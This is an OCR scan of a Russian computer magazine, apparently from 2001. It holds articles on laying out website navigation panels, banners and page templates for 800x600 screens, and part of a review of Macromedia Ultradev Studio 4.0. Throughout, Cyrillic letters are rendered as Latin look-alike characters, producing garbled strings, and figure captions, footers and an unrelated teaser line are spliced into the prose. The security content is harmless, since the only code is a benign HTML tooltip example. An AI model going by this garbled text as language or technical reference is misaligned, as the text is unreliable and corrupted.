tm m H ori/ix B/iafle/ibfleB Ma/iOMOiflHbix KOMnbiOTe- 


POB K 6o/lbWOMy KO/l MHeCTBy OflHOBpeMeHHO OT- 
KpbiTbix okoh! OflHaKO, ec/iM Ha BaweM caMTe ecTb 
«HaT», >Ke/iaTe/ibHo Cfle/iaTb TaK, HTo6bi oh OTKpbi- 
Ba/lCfl B HOBOM OKHe cflMKCMpOBaHHblX pa3MepOB 
M/1 M B OTfle/lbHOM Cj/peMMe. 3 tO n03B0/l MT BaiilMM 
noceTMTe/i/iM OflHOBpeMeHHO npoflO/i>KaTb M3y- 
naib MHcj/opMauMio Ha caMTe m o6maibCfl flpyr c 
flpyroM. 

Yflo6Hoe pa3MeiMeHMe HaBMraflMOHHbix naHe- 
/ieM — He MeHee b3>kh biM momcht, neM mx/iotmh- 
HOdb m MHcfiopMaTMBHocTb. HaM6o/iee pacnpocT- 
paHeHbi ropM30HTa/ibHbie naHe/iM HaBMraflMM bo 
BCK) LUMpMHy CTpaHMflbl M BepTM Ka/ibHbie, pacno/io- 
/KeHHbie C/ieBa. 1/13 60/iee 3K30TMHHblX BapMaHTOB 
mo>kho Ha3BaTb BbinaflaioiflMe (m/im Bcn/ibiBaioiflMe) 
MeHio m n/iaBaioiflMe naHe/iM, ocraiOLflMecfl nepefl 
r/ia3aMM no/ib30Baie/ieM npM npoKpyTKe crpaHMflbi, 
a TaK>Ke pacKpbiBaioiflMecfl cnMCKM. Y Ka>Kfloro M3 
BapMaHTOB ecTb cbom n/iiocbi m mm H ycbi. 

Ochobhom MMHyc BbinaflaioiflMx MeHio m n/iaBa- 
foiMMx naHe/ieM — 3HaHMTe/ibHoe yBe/iMHeHMe 
fl/iMTe/ibHOCTM 3arpy3KM CTpaHMU, TaK KaK nnn 
OCyifleCTB/ieHMfl nOflo6HOM M HTepaKTMBHOCTM (m 
npM 3TOM COXpaHeHM/1 KpOCc6pOy3epHOM COBMeC- 
tmmoctm) Heo6xoflMMbi AOBO/ibHO rpoM03flKMe yn- 
paB/iflJOLMMe cKpMnTbi. TaKMe MeHio AOBO/ibHO 
c/io/KHo fle/iaTb b TeKCTOBOM BapnaHTe, c/ieflOBa- 
Te/ibHo, CTpaHMUbi BO/iePi-HeBO/ieM no/iynaiOTCfl 
neperpyweHHbiMM rpacfiMKOM. OflHaKO 3anacTyio 
n/iiocbi TaKOM opraH M33UMM HaBMrauMM nepeBe- 


LUMBaiOT MMHycbi — Beflb BbinaflaioiMMe MeHio 
npeflOCTaB/ifliOT noceTMTe/i/iM MaKCMMyM MHcJ/op- 
MauMM 0 noflpa3fle/iax, a n/iaBaioiflMe naHe/iM M3- 
6aB/i/noT o6/ieHMBiuMxc/i web-cepc|DepoB ot tb>k- 
koto Tpyfla — o6paTHOM npoKpyTKM CTpaHMflbi. A 
B TOM, HTO MHOTMe CHMT3IOT npOKpyTKy T/DKKMM 
TpyflOM, Hec/io>KHO y6eflMTbc/i: fl/ia stoto flOCTa- 
tohho oueHMTb nony/iapHOCTb MbiuieK c KO/iecM- 
kom npoKpyTKM y no/ib30BaTe/ieM PlHTepHeTa. 


PacKpbiBaioiMMec/i cnMCKM TaK >Ke Tpe6yiOT Ha/i m- 
H M/1 ynpaB/l/HOLMMX CKpMnTOB, M TOHHO TaK >Ke MX 
6eccnopHbiMM n/iiocaMM ab/i/hotca 6o/ibwa/i mh- 
cfiopMaTMBHOCTb m yflo6cTBO. l"lo3TOMy nepefl Ba- 
mm ctomt He/ierKMM Bbi6op: npMB/ienb noceTMTe/ia 
BbICOKOM CKOpOCTblO 3arpy3KM CTpaHMfl M/IM >Ke 
npeflocTaBMTb eMy MaKCMMa/ibHbie yflo6cTBa Ha- 
BMraflMM npM AOBO/ibHO 3H3H MTe/l bHOM npOMTpbl- 
we B CKOpOCTM . 

Ec/im Bam m HaBMraflMOHHbie naHe/iM 6yflyT 
Bbino/iHeHbi nocpeflCTBOM rpacJ/M km (b BMfle kho- 
noK-KapTM hok). He 3a6yflbTe 0 Tex noceTMTe/iax, 
KOTopbie OTK/iionaiOT rpacJ/MKy b 6poy3epe fl/ia 
ycKopeHM/i 3arpy3KM CTpaHMfl m chm/kchm/i bxo- 
fl/iiflero TpacfiMKa. HTo6bi m mm 6bi/io yflo6Ho Ha 
BameM caMTe, Bbi flo/i>KHbi KaK MMHMMyM nponM- 


CaTb fl/lfl Ka>KflOM KHOnKM-KapTMHKM flOCT3TOHHO 
noflpo6Hoe onMcaHMe b aTpM6yTe alt (a/ibTepHa- 
TMBHbiM TeKCT). Mo>kho T3K>Ke Cfle/iaTb Ay6/iMpy- 
loiflyio TeKCTOByio naHe/ib HaBMraflMM BHM3y CTpa- 
HMflbl. 

Ec/im nassaum noflpa3fle/iOB Bamero caMTa 
AOBO/ibHO fl/iMHHbie (HanpMMep, «riepcneKTMBHbie 
MOfle/iM aBTOMo6M/ieM»), BaM, no-BMflMMOMy, npM- 
fle TC/l OCTaHOBMTbC/l Ha nO/lHOCTbfO TeKCTOBbIX Me- 
Hio. TaKMe MeHio yflo6Ho pa3MeiflaTb c/ieBa, b orpa- 
HMHeHHOM no mnpMHe /ineMKe Ta6/iMflbi m/im b 
OTfle/lbHOM c/ioe Cj/MKCMpOBaHHOM m M p M H bl . flpM 
MCn0/lb30B3HMM C/lOeB Bbl MO>KeTe fl o6aBMTb TeKC- 
TOBbie Bcn/ibiBaioiflMe MeHio (m/im Bcn/ibiBaioiflMe 
nOflCKa3KM) — TeXHMHeCKM 3TO pea/lM30BaTb B 
flaHHOM c/iynae npocTO. 

He 3a6yflbTe TaK>Ke, hto 6poy3epbi Internet 
Explorer BepcMM 4.0 m Bbime noflflep/KMBaiOT B03- 
MO>KHOCTb flo6aB/ieHM/l «a/lbTepH3TMBH0r0 TeKCTa» 
fl/1/1 Zllo6blX 3/ieMeHTOB CTpaHMflbl, B TOM HMC/ie M 
fl/ i/i TeKCTOBbix ccbi/ioK, nocpeflCTBOM aTpM6yTa 
title. 3to no3BO/iMT BaM co3flaTb Bcn/ibiBaioiflMe 
noflCKa3KM k BamMM ccbi/iKaM. HanpMMep, Mcno/ib- 
3yiiTe TaKyio KOHCTpyKflMio: 


<a href=«auto.html» title=«B flaHHOM pa 3 fle- 
/ie Bbi HavifleTe no/iHyio MH(J)opMaflviio 0 nep- 
cneKTviBHbix MOfle/iHx Harnvix aBTOMo 6 vi/ievi 
— KaK npOVL 3 BOflVlMbIX B MaCCOBOM nopHflKe, 
TaK vi 3 KcnepMMeHTa/ibHbix»>IIepcneKTviBHbie 
MOfle/ivi</a> 


0To6pa>KeHMe flaHHoro ynacTKa KOfla b 6poy3e- 
pe noKa3aHO Ha pnc. 2 — HaBeflB Kypcop Mbi lukm 
H a ccbi/iKy «riepcneKTMBHbie MOfle/iM», noceTMTe/ib 
no/iynaeT flono/iHMTe/ibHyio MHcfiopMauMio 0 pa3fle- 
/ie, b KOTopbiii BefleT 3Ta ccbi/iKa. 

LUar TpeTMM — nepTem caMTa 

rioc/ie Toro, KaK Bbi onpefle/iM/iMCb c cocTaBOM m 
pa3MeifleHMeM naHe/ieii HaBMraflMM, npMm /10 BpeMB 
co3flaTb co6cTBeHHo nepTe>K caiiTa. TyT BaniMMM 
OCHOBHbIMM MHCTpyMeHT3MM 6yflyT /IMHeMKa (He 
B3)KHO, HaCTOBlfla/1 flepeBBHHa/1 M/1 M BMpTya/lbHaB 
— b rpacJ/MHecKOM peflaKTope) m Ka/ibKy/iBTop. 


3Haeuib.. 



khk 9 Mary npoHiiKHyTb 

B TBOK> CMCTeMy? 


o noppp P HAyfie NH^opwaflUJi j cdEokh | ofivniAewnfl iQETeflan BHHfn | 


nAHE/lb HABMirAUMM 


BAHHEP 


jiorOTwn 


a Pmc. 3. Bo3ivio>KHbiM BapnaHT pasMeiueHMB 6o/ibiuoro 6aHHepa — pbaom c JioroTMnoM 


Xqo6Hoe pa3iv me HaBMrauMOHHbix naHe^efi He MeHee 
B3>KH0, HeM MX JlOrMHHOCTb H MH(J)OpMaTMBHOCTb 


CHIP 


M K) H b 


2 0 0 1 
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fl/ifl Hana/ia BaM hy>kho pewMTb, nofl KaKoe mm- 
HMMa/ibHoe pa3peiueHMe aKpaHa Bbi 6 yfleie ouj\a- 
MM3npoBaTb cbom crpaHMAbi. fl/ifl pa3peweHMu 
640x480 rnupMHa ocHOBbi caMTa AO/iWHa 6 biTb 600 
nMKce/ieM (ripn Hy/ieBbix 3HaneHMflx no/ieM flonyc- 
tmmo 610), p,nn 800x600 — 760 nMKce/iePi (npM 
Hy/ieBbix no/iux — 770). He MMeeT CMbic/ia C03fla- 



▲ Phc. 4. npuMepHbm 4epre>K uia6iioHa CTpaHMUbi fl/ia paspeuie- 
hhh 800x600 


BaTb dpaHMUbi Ha pyccKOM u3biKe p,nn 6o/ibWMx 
pa3peiueHMM: name Bcero pyccKOU3biHHbie no/ib30- 
BaTe/iM CeTM mmciot He6o/ibWMe MOHMTopbi m mc- 
no/ib3yiOT pa3pemeHne 800x600. Bbicoia 
bmammom nacTM CTpaHMAbi npn pa3peiueHMM 
800x600 M npM MCnO/lb30B3HMM 6o/lbLUMX KHOnOK 
ynpaB/ieHMu b 6poy3epe npMMepHO 490 nMKce/ieM, 
c yneTOM BepxHero no/iu c/ieAyeT opMeHTMpoBaTb- 
cn Ha 480 nMKce/ieM. 

Miax, ochobom Baiuero nepTewa AJifl pa3pewe- 
hmu 800x600 6 yAeT npuMoyro/ibHMK lumpmhom 760 
m BbicoToPi 480 nMKce/ieM. 

I/Icxoau M 3 3 tmx pa3MepoB, BaM c^eAyeT pac- 
CHMTaTb LUMpMHy zioroTMna caMTa (ec/iM oh 6yAeT 
npMcyTCTBOBaib), HaBMrauMOHHOM naHe/iM, pacno- 
/iowchhom c/ieBa, m ocHOBHoro ynacTKa OKHa, co- 
Aep>KaiAero MH^opMauMio. 

Ec/im Bbi co6Mpaeiecb Mcno/ib30BaTb Ha caMTe 
6aHHepbi, BaM noTpe6yeTcu 3apaHee paccHMTaTb 
mx pa3MeiAeHMe. npM Ha/iMHMM He6o/ibworo zioro- 
TMna mo>kho pa3MecTMTb 6aHHep puAOM c hmm, 

HaA naHe/ibio HaBMrauMM (cm. pmc. 3 ). Ec/im we 
no BaiueMy 3aMbic/iy zioroTMn o6"beAMHeH c Ha3Ba- 
HMeM caMTa m/im oh Boo6iAe OTcyTCTByeT, 6aHHep 
jiyHwe Bcero pa3MecTMTb Bbiiue Ha3B3 H mu. K Ka- 
KOMy 6bi peiueHMio Bbi hm npMiu/iM, noMHMTe, hto 
LUM pMHy 6aHHepoB Heo6xoAMMO yHMTbiBaTb npM 
pa3pa6oTKe nepTewa caMTa, TaK KaK nywepoA- 
HocTb 3 tmx 3/ieMeHTOB npeoAO/ieTb 6biBaeT He- 
uerKO (a noAHac m HeB03MO>KHo), m ziynwee, hto 
B bi MoweTe CAe/iaTb, — o6ecneHMTb Taxoe mx 
pa3MeiAeHMe, npM kotopom CTpaHM 14 a He 6yAeT 
Bbir/iuAeTb Hep/uu/iMBO. 

n pM Mcno/ib30BaHMM BepTM K3/i bHbix naHe/ieM 
HaBMrauMM o6biHHO AOBO/ibHO uerKO BnncaTb b 
CTpaHMuy 6aHHepbi Apyroro pacnpocTpaHeHHoro 


cJ/opMaTa — 100x100. I/lx mowho pa3MecTMTb 
BHyTpM HaBMraAMOHHoro 6 /iOKa, noA ochobh biM m 
CCbl/lKaMM. 

Ec/im Bbi co 6 MpaeTecb Ao 6 aB/iuTb cbom caMT b 
K aKOM-/iM 6 o nony/iupHbm KaTa/ior m/im ycTaHaB/i m- 
BaTb cneTHMK, BawHo 3apaHee npeAycMOTpeTb pa3- 
MeiAeHMe KaK MMHMMyM oahom KHonKM 88x31. npM 
perMCTpauMM ot Bac 
o6u3aTe/ibHo noTpe 6 y- 
K)T yCTaHOBMTb TaKyio 
KHonKy (ccbi/iKy Ha Ka- 
Ta/ior m/im CMCTeMy cra- 
tmctmkm) Ha r/iaBHOM 
CTpaHMue 3auB/ieHHoro 
caMTa. KaK npaBM/ 10 , 
A/iu ycnemHOM pac- 
KpyTKM C03AaTe/lM / 1 10 - 
6 MTe/lbCKMX C3MTOB 
BbmywAeHbi perMCTpM- 
pOBaTb MX B KaK MOWHO 
60 /lbLUeM KO/lMHeCTBe 
KaTa/ioroB m noMCKO- 
BblX CMCTeM, a 3H3HMT, 
OAHOM KHOnKOM He 
o 6 oMTMCb — noAyMaM- 

Te cpa3y, rAe Bbi 6yAeTe pa3MeiAaTb 6o/ibiuoe ko- 
/I MHeCTBO T3KMX KHOnOK eAMHbIM 6/lOKOM. 

Ec/im Bbi n/iaHMpyeTe opraHM30BaTb paccbi/iKy 
HOBOCTeM caMTa, npeAycMOTpMTe pa3MeiAeHMe 
cjDopMbi noAnMCKM. 06biHHO cfiopMy noAnMCKM Ha 
hoboctm pa3MeiAaiOT Ha r/iaBHOM CTpaHMue, ho 
mowho npoAy 6 /iMpoBaTb ee m Ha Bcex CTpaHMLjax 
caMTa. AHa/lOTMHHO 06 CTOMT Ae/lO M C Cj/OpMOM no- 
MCKa no caMTy — MecTO p,nn Hee HywHO 3acTO/i- 
6 MTb 3 apaHee. BaM MOweT noKa 3 aTbcu, hto 3 to ny- 


/ioh3m, Bbi He 6 yAeTe orpaH mhm B aTb ce 6 u oahmm 
3Kp3HOM B BbICOTy, M KHOnKM 88x31 eCTeCTBeH- 
HblM o6pa30M MOryT CMeCTMTbCfl BHM3 B 33BMCM- 
moctm ot oOteMa TeKCTa b ochobhom 6 /ioKe, a 
noA 6 /iokom HaBMrauMM MOweT Ao 6 aBMTbcu eiAe 
oamh 6 aHHep 100x100. Co3AaBau nepTew, Bbi 
AO/iWHbi 3apaHee npeAycMOTpeTb pacTuwMMOCTb 
iua 6 /i 0 H 0 B no BbicoTe. 

PacTuwMMOCTb no LUMpMHe o 6 ecneHMTb Ha- 
MHoro c/iowHee, 3 to noTpe 6 yeT ot Bac 3Han m- 
Te/ibHoro AM33MHepcKoro onbiTa. CpeAM n\o6v\je- 
zieM pacnpocTpaHeHo MHeHMe, hto caMT Ha 
«pe3M HOBbix» Ta 6 /iMAax CAe/iaTb npoiAe, neM Ha 
Ta 6 /lMAaX M/IM C/lOflX C C|}MKCMpOBaHHOM LUMpM- 
hom. Ha caMOM Ae/ie 3 to Aa/ieKO He TaK! l"lpM co- 
3A9HMM «pe3MHOBOM» OCHOBbl CTpaHMLJ Bbi 
AO/iWHbi ynecTb, hto Baiua Ta 6 /iMua AO/iWHa 
yMeTb OKMMaTbcu ao MaKCMMa/ibHO AonycTM mom 
npM Bbi 6 paHHOM pa3pemeHMM QjMpMHbi (to ecTb 
AO 600 nMKce/ieM p,nn 640x480 m/im ao 760 — 
A/ifl 800x600). B to we BpeMu npM pacTuweH m m 
T a 6 /iM 4 bi Ha 6 o/ibiuMx 3KpaHax (c pa3pemeHMeM 
1024x768 m 6 o/ibiue) BHeiu hm m bma CTpaHMA He 
AO/iweH M3MeHUTbcu b xyAiuyio CTopoHy. Ha He- 
npoc|DeccMOHa/ibHbix «pe3MHOBbix» caMTax b Bbi - 
cokmx pa3pemeHMux nacTO mowho BMAeTb cnpoT- 
/imbo pa36peAaiOLAMecu no 3KpaHy Me/iKMe 
rpacfiMHecKMe 3/ieMeHTbi m pa36pocaHHbie no 
KpauM OAMHOKMe HaAnMCM. Co3AaTe/iM TaKMx 
CTpaHMA He yn/iM, hto 6 biBaiOT MOHMTopbi c AMa- 
roHa/ibio 6 o/ibiue 15 ak/mmob. EiAe OAHa pacnpo- 
CTpaHeHHau omM 6 Ka — HeAOCTaTOH ho A-^MHHau 
no/iocKa cfiOHa, 3aAyMaHHoro noBTopuiOLAMMCu 
ziMiub no BepTMKa/iM. HTo 6 bi c|doh He noBTopu/icu 
no ropM30HTa/iM npM /iio 6 bix pa3peiueHMux, ero 


rioc/ie Bcex pacneTOB y Bac Aosimeii no/iyHMTbcn 
neTKMM nepTe>K iua6/ioHa 6yflymnx cTpaHMu 


CTUKM M He CTOMT o 6 paiAaTb OCo 6 om BHMM3HMU Ha 
T3KMe Me/IOHM. OAHaKO MMeHHO M3-3a T3KMX nycTu- 
kob HaHMHaiOLAMM web~AM3aM HepaM 3anacTyio 
npMxoAMTeu MHoroKpaTHO nepeAe/ibiBaTb cbom 
CT paHMAbi, m HepeAKO c/iynaeTCu, hto M3-3a cneT- 
HMKa, He /ie3yiAero hm b KaKMe BopoTa, Becb caMT 
npMo 6 peTaeT Hep/uu/iMBbm bma. 

rioc/ie Bcex npMKMAOK m pacneTOB y Bac ao/i- 
weH no/iyHMTbcu hctkmm nepTew ma 6 /ioHa BamMx 
6 yAyiAMx CTpaHMA. He 3 a 6 biBaMTe npeAycMOTpeTb 
AOCT3TOH HOe paCCTOflHMe MeWAy OTAe/lbHblMM 
3/ieMeHTaMM m OTCTynbi MewAy tckctom m rpacjDM- 
kom. TeKCT, npM/ien/ieHHbiM Bn/iOTHyio k Kpaio 
Ta 6 /iMAbi m/im k M3o6paweHMio, Bbir/iuAMT HeaKKy- 
paTHO. Ha pMcyHKe 4 M 3 o 6 paweH oamh m3 bo3- 
mowhwx BapnaHTOB HepTewa CTpaHMAbi p,nn pa3- 
pemeHMu 800x600. 06iAau LUMpMHa 
npM BeASHHoro iua 6 /iOHa — 758 nMKce/ieM, lum- 
pM Ha Bcex OTCTynoB — 10 nMKce/iePi, LUMpMHa 
no/iu noA uoroTMnoM — 150 nMKce/ieM. Kohchho, 
KorAa AOMAeT Ae/io ao BepcTKM CTpaH m 14 no ma 6 - 


MMHMMa/ibHau A-nMHa AO/iWHa 6biTb 1880 
nMKce/ieM — TorAa Aawe Ha npocJ/eccMOHa/ibHbix 
22-AK)MMOBblX MOHMTOpaX npM CaMbIX BbICOKMX 
pa3pemeHMux c cJdohom 6yAeT Bee b nopuAKe. 

Iloc/ie Toro, KaK Barn ma 6 /ioH tohho paccHM- 
TaH m HanepneH, Bbi MoweTe BM3ya/ibH0 oueHMTb, 
HacKO/ibKO yAaHHo npoAyMaH BapnaHT opraHM3a- 
14 MM MaTepna/iOB Ha caMTe. Ha TaKOM nepTewe Bbi 
cpa3y yBMAMTe Bee aoctom hctb3 m HeAOCTaTKM 
cxeMbi: co 6 /iiOAeHbi /im cneuMa/ibHbie Tpe 6 oBaHMu 
6 aHHepHbix CMCTeM, Bbi toaho /im pacno/ioweHa 
HaM 6 o/iee BawHau MHcj/opMauMu, He npMMeT/iM 
noceTMTe/ib peK/iaMHbm 6 aHHep 3a ochobhom 3a- 
ro/iOBOK caMTa m t. a. m t. n. Ec/im hto-to Bac He 
ycTpaMBaeT, HaMHoro npoiAe cpa3y M3MeHMTb 
nepTew, neM b Aa-nbHePiiueM MeHUTb agcutkm 
CT paHMA roTOBoro caMTa. Hy a ec/iM Bee b nopuA- 
Ke, mowho npMCTynaTb k M3roTOB/ieHMio rpacfiMHe- 
CKMX 3/ieMeHTOB M BepCTKe CTpaHMA. Ho 3TO ywe 
coBceM Apyrau mctopmu. 

JliOAMM/ia EaHAypviHa 


CHIP 


M K) H b 


2 0 0 1 
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NTERNET cpeflCTBa pa3pa6oTKM 


Macromedia Ultradev Studio 4.0 

Ea3a AflHHbix Ha Web 

BypHoe pa3Bmne TexHO/iomM 6a3 AaHHbix b 1/lHTepHeie Bbi3Ba/io noBbiweHHbm cnpoc 
Ha npoc|DeccMOHa^bHbie MHcrpyMeHTbi a/ia C03flaHmi web-npMjicweHMM. Mbi paccMOTpMM oahoto 
M 3 B03M0>KHbix npeieHAGHTOB Ha /lMflepcTBO — Macromedia Ultradev Studio 4.0. 


K OMnaHMfl Macromedia Ha pbiHKe MHcrpyMeH- 
tob pj\n C03flaHM5i web-crpaHMA othocmtca k 
cjDMpMaM, KOTopbie b 3HaHMTe/i bHOM creneHM onpe- 
Ae/mtOT HanpaB/ieHMe ero pa3BMTMfl. Korfla He- 
CKO/ibKO /ieT Ha3afl OHa Bbinycm/ia Ha pbiHOK nep- 
Byio BepcMHD BM3ya^bHoro peflaKTopa Dreamweaver, 
MHorne aHa/iMTMKM npeACKa3biBa/iM stom nporpaM- 
Me TyMaHHoe 6yAyiAee. Hecmo roBopa, 3to HeyflM- 
BMTe/ibHo — nepBbiM b stom 06/iacTM 6bm peflaKTop 
MS FrontPage, m oh, KaK M3BecTHO, He y6eAM/i npo- 
cfieccMOHa^OB b o6/iacTM web b npeMMyiAecTBax bm- 
3ya/ibHoro co3AaHMA crpaHMA. OflHaKO Macromedia 
nodo^HHbiM coBepmeHCTBOBaHMeM nporpaMMbi ao- 
Ka3a/ia, hto npoeKTMpoBaHMe no npi/iHLii/iny 
WYSIWYG (What You See Is What You Get) MMeeT 
npaBO Ha MecTO noA co/iHueM. Pe3y/ibTaT HaBepHA- 
Ka M3BecieH mhotmm: BepcMfl 3.0 noce/iM/iacb bo 
MHornx peoaMHbix cryAMax, m crpaHMA, noAroTOB- 
zieHHbix c noMOiAbio Dreamweaver, b 1/lHTepHeie 
CTaHOBmcii Bee 6o/ibwe m 6o/ibwe. 

rioflB/ieHMe HOBbix cepBepHbix TexHO/iorMM no- 
6yAM/io Macromedia 3aAyMaTbca o Aa/ibHeMweM 


pa3BMTMM nporpaMMbi. TaK CBeiyBMAe/ia nepBaa 
Bepcidfl nporpaMMbi ULtradev, npeACTaB/mioLAafl 
co6oPi He hto MHoe, KaK Dreamweaver, o6oraiAeH- 
HblM CjDyHKUM^IMM f\J\S\ pa3pa60TKM npM/10)KeHMM, 
B3aMMOAeMCTByioiAMx c 6a3aMM AaHHbix. C BBeAe- 
HMeM b crpoPi Dreamweaver 4.0 npoM30w.no 061^- 
AMHeHMe nporpaMM, m TaKMM o6pa30M HOMep ho- 
bom BepcidM Ultradev OAHOBpeMeHHO Bbipoc ao 
neTBepTOM. Tenepb nporpaMMa nocTaB/iflera Ha 
pbiHOK n m6o caM0CT05ue^bH0, jim6o b tom BepcMM, 
KOTopaa 6bi/ia b MoeM pacnopaweHMM noA Ha3Ba- 
HMeM Ultradev Studio, to ecTb BMecTe c rpa^nnec- 
kmm peAaKTopoM Fireworks 4.0. 

Hanmiaeivi c «Hy/in» 

Toro HTo6bi c caMoro Hana/ia He AonycTMTb He- 
Aopa3yMeHMM, CKa>Ky, hto peAaKTopcKne c^hkamm 
nporpaMMbi Ultradev 4.0 b ue/iOM cxoahw c cfiyHK- 
Amamm neTBepTOM BepcMM peAaKTopa Dreamwea- 
ver. To ecTb ec/iM Bbi npMBbiK/iM pa6oTaTb c Dream- 
weaver, to Bee ero bo3mo>khoctm Bbi HaiiAeTe m b 
Ultradev. 


Ec/in BaM y>Ke npMxoAM/iocb 3aHMMaTbCfl npo- 
rpaMMMpoBaHMeM web-npM/io>KeHMM, to HaBepHAKa 
noKaweTCfl CTpaHHbiM, hto mo>kho o6'beAMHMTb bm- 
3ya/ibHoe C03AaHMe crpaHMA c hmcto nporpaMMMCT- 
ckom AG^Te/ibHOCTbio — npoeKTMpoBaH MeM npo- 
rpaMMHoro o6ecneneHMfl. Ultradev 4.0 — 

Har/mAHbiM npMMep toto, hto 3to obteAMHeHMe 
bo3mo>kho, xoTfl m aohom Ae/ioro pflAa Me/IKMX yCTy- 
noK. Co3AaHMe hoboto npM/ioweHMfl b Ultradev cbo- 
AMtca k HecKO/ibKMM luaraM. BHana/ie C03AaeTCfl 
Heo6xoAMMoe noACoeAMHeHMe k 6a3e AaHHbix, 3a- 
TeM Ae/iaeTCfl BM3ya/ibHbm 3CKM3 crpaHMAbi, m ziMWb 
noTOM Ha naHe/in Bbi6MpaiOTCfl Heo6xoAMMbie aK- 
TMBHbie 3/ieMeHTbi (HanpMMep, c/ieAyioiAafl 3anncb, 
HOBaa 3anucb m t. a*)' KOTopbie 3apaHee noAroTOB- 
jieHbi nporpaMMMCTaMM M3 Macromedia, — b TepMM- 
ho/iotmm ohm Ha3biBaiOTCfl Server Behaviors. To ecTb 
ec/iM Bbi xoTMTe C03AaTb, HanpMMep, 6a3y AaHHbix 
coTpyAHMKOB, to Ha npaKTMKe BaM He npMAeTCfl nM- 
caTb hm ctpohkm KOAa. Pa3yMeeTCfl, n He co6Mpa- 
iocb yTBep>KAaTb, hto Ultradev — MHcrpyMeHT p,nn 
pflAOBoro no/ib30BaTe/ifl, a ziMWb xony o6paTMTb 
BHMMaHMe Ha CKopocTb m npocTOTy 3Toro BMAa npo- 
eKTMpOBaHMfl. 

Texii 0/10 run 

riOMMMO HeCKO/lbKMX nOAAOP^MBaeMblX TeXHO/lOTMM 
6a3 AaHHbix A-na paccMaTpMBaeMoro BMAa nporpaMM 
K/llOHeBOM 53B/15ieTC53 T3K>Ke nOAAep>KKa CKpMnT-fl3bl- 
kob. Ultradev b CBoeM neTBepTOM BepcMM no3B0^5i- 
eT co3AaBaTb npnjioweHMfl c noMOiAbio ASP (b Ba- 
pnaHTax JScript m VBScript), CFML (TexHO/iornfl 
KOMnaHMM Allaire) m JSP (Java Server Pages). He- 
o6xoAMMbie noACoeAMHeHM^ k cepBepaM 6a3 AaH- 
Hbix mo>kho npoBOAMTb c Mcno/ib30B3HMeM ApaiiBe- 
poB ODBC ( m/im A-n^ BapnaHTa JSP — JDBC). Flo 
ec/in BaM Hy>KHa noAAep>KKa PH P mv\ eMy noAo6- 
Hbix A3biKOB, to n AO/i>KeH Bac pa30HapoBaTb: Mac- 
romedia mx oc|DMAMa/ibHO He noAAep>KMBaeT. 

Xotk 3to orpaHMHeHMe mo>kho ao HeKOTopoii 
CTeneHM o6omtm (06 stom penb noMAeT HM>Ke), t\ 
no^araio, hto «necTHa5i» noAAop>KKa PH P M3-3a ero 
pacnpocTpaHeHHOCTM 6bma 6bi p,nn Ultradev 6o^b- 
LUMM n^lOCOM. » 
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a Pmc. 2. flaHe/ib Reference 


a Pmc. 3. flaHe/ib Assets 


» /iMHHan epefla pa3pa6oTKii 

Ultradev (BMecre c Dreamweaver) mo>kho M 3-3a ee 
MOfly^bHOM KOHuenuMM npeo6pa30Baib b 6yKBa^b- 
HOM CMblC^e B JIMHHbIM MHCTpyMeHT pa3pa60TKM. 
Bo-nepBbix, HaM6o^ee oneBMAHa B03M0>KH0CTb ao- 
pa6oTKM no^b30Baie^bCKOM cpeAbi — Bee onnea- 
HM5I, BK/llOHafl AeK^apaAMIO Bbl6paHHblX cjDyHKUMM, 
HaxoA^TC^i b AOKyMeHTe XML. Ec^m Bbi co3Aaeie 
c^o>KHoe npM/io>KeHMe, pa6oiaioiAee c 6a3aMM ash- 
Hbix, m cyiAecTByioiAMx c|Dy h kl^m m BaM y>ne He xBaia- 
eT, 6^aroAap5i OTKpbiTOCTM nporpaMMHOM cpeAbi He 
npo6^eMa MHTerpMpoBaTb b Hee Tpe6yeMyio ejay h k- 
AMIO. 

EiAe OAHa, MeHee oneBMAHa^, ho b c/iynae c 
Ultradev 6o^ee BawHaa oco6eHHocTb — paciuMpe- 
h Me cjDyHKAMOHa/ibHbix B03M0>KH0CTeM nporpaMMbi c 
noMoiAbio Tax Ha3biBaeMbix Packages, ynpaB^e- 
Hi/m Packages npeAHa3HaneHa nporpaMMa Macro- 
media Package Manager, ee mo>kho no/iyHMTb Ha 
caMTe KOMnaHMM Macromedia. Ko/iMHecTBO naxeTOB 
A/ifl Dreamweaver m Ultradev, KOTopbie TaM pa3Me- 
lAeHbi, AOKa3aie/ibCTBO toto, hto Macromedia ony6- 
zii/iKOBaHMeM nporpaMMHoro MHTepc|DeMca cbomx 
npoAyKTOB Ae/iaeT eiAe oamh mar HaBCTpeny no/ib- 
30Baie^io. E^aroAap^ naxeiaM mo>kho Aono/iHATb 
cjDyHKAMOHa/i Ultradev, HanpMMep noAAep>KKOM PHP 
min MySQL. 

HoBiuecTBa Bepcmi 4.0 

B CBA3M c TeM, hto Ultradev m Dreamweaver mc- 
no/ib3yiOT oaho m to >ne nporpaMMHoe ^Apo, onnea- 
H Me HOBMHOK B o6/iaCTM C03AaHM/l CTpaHMHeK 6yAeT 
A/ifl h mx o 6 iamm. BepcM^i 4.0 AB/meTca b onpeAe- 
^eHHoPi CTeneHM nepe/iOMHOM: Macromedia Haxo- 
Heu noH^a, hto xota BM 3ya^bHoe C03AaHMe CTpa- 
H M H KM M MO>KHO CAe^aTb 3Cf)C|DeKTMBHblM, HO 6e3 
noc^eAyfoiAen npaBKM KOAa b 6o^biuMHCTBe c^yna- 
eB He o6oMTMCb. no 3 tmm coo6pa>KeH v\m b BepcM m 
4.0 3HaHMTe^bHbie M3MeHeHkm npeTepne^ Code Ins- 
pector m no^BM^acb B03MO>KHOCTb pa3Ae^eHM5i pe- 
AaKTopcKoro OKHa Ha BM3ya^bHyio nacTb n nacTb c 


MexoAHbiM koaom. 0MHa/i bHyio AOBOAKy KOAa ynpo- 
lAaeT eiAe oaho HOBOBBeAeHMe: naHe^b Reference 
(cm. pidc. 2). B AOCTynHOM cfiopMe OHa OTo6pa>KaeT 
MaTepna^bi no ASP, JavaScript m CSS, npn stom ao- 
no^HMTe^bHbie onncaHM^ mo>kho 6ecn/iaTHO exa- 
naTb Ha y>Ke ynoMMHaBiueMCfl CTpaHMHKe Aono^He- 
hmm. EiAe OAHa HOBaa naHe^b — Assets (cm. 
pnc. 3), ee 3aAana OTo6pa>KaTb cjaaM/ibi npoeKTa. 

H HTerpnpoBaHHbiM JavaScript debugger no aocto- 
MHCTBy oueHMT Ka>KAbiM, kto KorAa-^M6o nporpaM- 
MMpOBa/l B 3TOM 533blKe. 

OopMaT Flash, y mctokob KOToporo CTO^a Mac- 
romedia, 3aBoeBbiBaeT b MHTepHeTe Bee 6o^biuyio 
nony^^pHOCTb, m 3Ta cnTyauna Haiu^a OTpa>KeHMe b 
